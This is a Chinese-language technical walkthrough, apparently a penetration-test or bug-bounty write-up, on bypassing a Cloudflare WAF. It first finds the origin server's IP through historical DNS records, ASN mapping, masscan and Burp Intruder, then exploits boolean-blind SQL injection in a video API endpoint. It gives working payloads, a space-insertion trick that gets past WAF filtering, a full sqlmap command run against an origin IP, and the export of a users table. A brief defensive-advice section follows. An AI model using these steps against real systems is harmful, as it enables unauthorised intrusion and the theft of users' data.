绕过WAF:追踪源站IP与SQL注入的艺术
字数 1800 2025-10-01 14:05:44

绕过WAF:追踪源站IP与SQL注入技术详解

1 核心概念基础

1.1 DNS系统与记录类型

  • DNS作用:互联网寻址系统,实现域名与IP地址的映射转换
  • A记录:域名到IPv4地址的映射(example.com → 23.215.0.138)
  • AAAA记录:域名到IPv6地址的映射
  • CNAME记录:域名到域名的映射(ryukudz.com → itsryuku.github.io)

1.2 自治系统号(ASN)

  • 定义:互联网网络中唯一标识符,代表由单一组织管理的IP地址集合
  • 重要性:帮助识别属于同一实体的IP地址范围
  • 注意点:目标可能托管在云服务提供商(AWS、GCP、Azure)的IP空间而非自有ASN

1.3 源站IP与CDN

  • 源站IP:后端服务器的真实IP地址,通常被CDN隐藏
  • CDN作用:提高性能并提供安全层(Web应用程序防火墙)
  • 安全意义:绕过CDN即同时绕过WAF防护,大幅降低漏洞利用难度

2 源站IP发现技术

2.1 历史DNS记录查询

  • 原理:查询域名历史DNS记录,寻找CDN启用前的源站IP
  • 常用工具
    • ViewDNS.info:基础历史记录查询
    • Censys/SecurityTrails:深度DNS数据查询(需免费试用账户)
  • 局限性:成熟公司会实施IP轮换策略降低此方法有效性

2.2 ASN网络映射技术

  1. ASN识别:通过Hurricane Electric BGP Toolkit查询目标组织关联的IP范围
  2. 网络映射:使用asnmap工具通过ASN映射网络范围
  3. 存活主机扫描:使用masscan进行大范围端口扫描
sudo masscan -iL ranges.txt -p1-65535 --exclude 255.255.255.255 --rate 100000 --output-format json --output-filename scan-results.json
  1. 结果过滤:提取存活主机信息
cat scan-results.json | sed -e '/^
$$
/d' -e '/^
$$
/d' -e 's/,$//' | jq -r '[.ip, .ports[0].port] | @tsv' | sed 's/\t/:/' | sort -u > alive-hosts

2.3 源站IP验证

  • 方法:使用Burp Suite Intruder对存活IP列表进行模糊测试
  • 关键设置:保持Host头为原始域名(www.target.com),替换IP地址参数
  • 识别特征:响应状态码200 OK且内容与原始响应完全一致

3 SQL注入漏洞利用

3.1 漏洞识别与确认

  • 可疑端点GET /api/videos?topic=1337
  • 基础测试
    • 单引号测试(1337%27) → 500错误
    • 双引号测试(1337%27%27) → 200正常
  • 布尔盲注确认
    • 1337'+AND'1'=1-- → 数据返回
    • 1337'+AND'1'=2-- → 无结果返回
    • 1337'+and+length(version())>1-- → 数据返回

3.2 WAF绕过技术

  • 初始阻挡:直接函数调用被Cloudflare WAF阻断
  • 空格绕过:在函数名与括号间添加空格成功绕过
    • 被阻断:ascii(substring(current_database(),1,1))>32
    • 已绕过:ascii+(substring+(current_database(),1,1))>32
  • 数据提取
    • 数据库名长度:length+(current_database())=10
    • 版本信息长度:length+(version())=104
    • 逐字符提取:ascii+(substring+(current_database(),1,1))=102(字符'f')

3.3 自动化利用与数据提取

  • sqlmap枚举数据库
python3 sqlmap.py -u 'https://149.106.193.134/api/videos?topic=1815' --host=www.target.com --headers='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' -p topic --dbms=PostgreSQL --dbs --technique=B --level=5 --risk 3 --no-cast --threads 10
  • 表结构枚举:识别包含敏感信息的users表
  • 数据导出:直接导出敏感用户数据作为漏洞证明

4 完整技术流程总结

  1. 漏洞发现:识别可能存在SQL注入的API端点
  2. 基础验证:通过布尔盲注确认漏洞存在
  3. WAF对抗:使用空格混淆等技术绕过Cloudflare防护
  4. 源站追踪:通过历史DNS记录或ASN映射寻找真实IP
  5. 直接访问:绕过CDN直接与源站服务器交互
  6. 自动化利用:使用sqlmap等工具高效提取数据
  7. 漏洞报告:提供充分证据包括敏感数据样本

5 防御建议

  • 正确CDN配置:确保源站IP正确隐藏,实施IP轮换策略
  • WAF规则优化:检测函数名与括号间的空格混淆尝试
  • 输入验证:对所有用户输入实施严格的参数化查询
  • 错误处理:避免向客户端返回详细数据库错误信息
  • 网络监控:监控直接访问源站IP的异常请求模式

此技术手册详细记录了从漏洞发现到完整利用的全过程,重点强调了源站IP发现这一关键环节在绕过WAF防护中的重要作用。

绕过WAF:追踪源站IP与SQL注入技术详解 1 核心概念基础 1.1 DNS系统与记录类型 DNS作用 :互联网寻址系统,实现域名与IP地址的映射转换 A记录 :域名到IPv4地址的映射(example.com → 23.215.0.138) AAAA记录 :域名到IPv6地址的映射 CNAME记录 :域名到域名的映射(ryukudz.com → itsryuku.github.io) 1.2 自治系统号(ASN) 定义 :互联网网络中唯一标识符,代表由单一组织管理的IP地址集合 重要性 :帮助识别属于同一实体的IP地址范围 注意点 :目标可能托管在云服务提供商(AWS、GCP、Azure)的IP空间而非自有ASN 1.3 源站IP与CDN 源站IP :后端服务器的真实IP地址,通常被CDN隐藏 CDN作用 :提高性能并提供安全层(Web应用程序防火墙) 安全意义 :绕过CDN即同时绕过WAF防护,大幅降低漏洞利用难度 2 源站IP发现技术 2.1 历史DNS记录查询 原理 :查询域名历史DNS记录,寻找CDN启用前的源站IP 常用工具 : ViewDNS.info:基础历史记录查询 Censys/SecurityTrails:深度DNS数据查询(需免费试用账户) 局限性 :成熟公司会实施IP轮换策略降低此方法有效性 2.2 ASN网络映射技术 ASN识别 :通过Hurricane Electric BGP Toolkit查询目标组织关联的IP范围 网络映射 :使用asnmap工具通过ASN映射网络范围 存活主机扫描 :使用masscan进行大范围端口扫描 结果过滤 :提取存活主机信息 2.3 源站IP验证 方法 :使用Burp Suite Intruder对存活IP列表进行模糊测试 关键设置 :保持Host头为原始域名(www.target.com),替换IP地址参数 识别特征 :响应状态码200 OK且内容与原始响应完全一致 3 SQL注入漏洞利用 3.1 漏洞识别与确认 可疑端点 : GET /api/videos?topic=1337 基础测试 : 单引号测试( 1337%27 ) → 500错误 双引号测试( 1337%27%27 ) → 200正常 布尔盲注确认 : 1337'+AND'1'=1-- → 数据返回 1337'+AND'1'=2-- → 无结果返回 1337'+and+length(version())>1-- → 数据返回 3.2 WAF绕过技术 初始阻挡 :直接函数调用被Cloudflare WAF阻断 空格绕过 :在函数名与括号间添加空格成功绕过 被阻断: ascii(substring(current_database(),1,1))>32 已绕过: ascii+(substring+(current_database(),1,1))>32 数据提取 : 数据库名长度: length+(current_database())=10 版本信息长度: length+(version())=104 逐字符提取: ascii+(substring+(current_database(),1,1))=102 (字符'f') 3.3 自动化利用与数据提取 sqlmap枚举数据库 : 表结构枚举 :识别包含敏感信息的users表 数据导出 :直接导出敏感用户数据作为漏洞证明 4 完整技术流程总结 漏洞发现 :识别可能存在SQL注入的API端点 基础验证 :通过布尔盲注确认漏洞存在 WAF对抗 :使用空格混淆等技术绕过Cloudflare防护 源站追踪 :通过历史DNS记录或ASN映射寻找真实IP 直接访问 :绕过CDN直接与源站服务器交互 自动化利用 :使用sqlmap等工具高效提取数据 漏洞报告 :提供充分证据包括敏感数据样本 5 防御建议 正确CDN配置 :确保源站IP正确隐藏,实施IP轮换策略 WAF规则优化 :检测函数名与括号间的空格混淆尝试 输入验证 :对所有用户输入实施严格的参数化查询 错误处理 :避免向客户端返回详细数据库错误信息 网络监控 :监控直接访问源站IP的异常请求模式 此技术手册详细记录了从漏洞发现到完整利用的全过程,重点强调了源站IP发现这一关键环节在绕过WAF防护中的重要作用。